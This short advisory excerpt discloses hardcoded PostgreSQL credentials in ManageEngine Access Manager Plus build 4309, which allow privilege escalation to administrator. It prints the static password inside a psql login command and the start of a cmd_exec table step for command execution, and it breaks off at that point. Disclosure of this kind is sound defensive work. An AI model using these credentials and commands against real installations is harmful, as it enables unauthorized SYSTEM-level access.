April 25, 2023, 7:01 p.m. | Jimi Sebree

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Zoho ManageEngine Disclosure of Hardcoded Credentials

Static credentials exist in the PostgreSQL data used in ManageEngine Access Manager Plus (AMP) build 4309. These credentials could allow a malicious actor to modify configuration data that would escalate their permissions from that of a low-privileged user to an Administrative user.


The PostgreSQL database server used in AMP is run under the SYSTEM account:

C:\Program Files\ManageEngine\AMP\pgsql\bin>set PGPASSWORD=Stonebraker&& psql -h 127.0.0.1 -p 4567 -d AMP -U postgres -q

AMP=# DROP TABLE IF EXISTS cmd_exec; …

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